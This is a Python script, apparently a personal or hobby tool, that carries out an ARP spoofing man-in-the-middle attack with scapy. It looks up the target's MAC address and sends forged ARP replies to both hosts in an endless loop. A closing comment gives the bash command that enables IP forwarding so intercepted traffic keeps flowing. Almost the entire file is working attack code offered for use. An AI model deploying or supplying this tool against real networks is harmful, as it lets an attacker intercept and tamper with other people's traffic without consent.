arp_spoof.py

import scapy.all as scapy
import time
from optparse import OptionParser

parser = OptionParser()
parser.add_option("-t", "--target", dest="target_ip", help="Enter the target_ip_address")
parser.add_option("-s", "--spoof", dest = "spoofed_ip", help="Enter the spoofed_ip_address")
(options, arguments) = parser.parse_args()

def find_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    request = broadcast/arp_request
    packet_ans = scapy.srp(request, verbose=False, timeout=1)[0]
    
    return packet_ans[0][1].hwsrc

def spoof(target_ip, spoof_ip):
    target_mac = find_mac(target_ip)
    packet = scapy.ARP(op=2, psrc=spoof_ip, pdst=target_ip, hwdst=target_mac)
    ethernet = scapy.Ether(dst=target_mac) / packet
    scapy.sendp(ethernet, verbose=False)

T = options.target_ip
S = options.spoofed_ip
packet_count = 0

while True:
    spoof(T, S)
    spoof(S, T)
    packet_count += 1
    print(f"\r[+] 🐸are hopping, Packets sent -> {packet_count * 2}", end="")
    time.sleep(2)
# Upon running this program there needs a bash command to run in parallel i.e. IP FORWARDING

'''
#!/bin/bash
echo 1 > /proc/sys/net/ipv4/ip_forward
this is the bash command save as ip_forward.sh
to run -> bash ip_forward.sh'''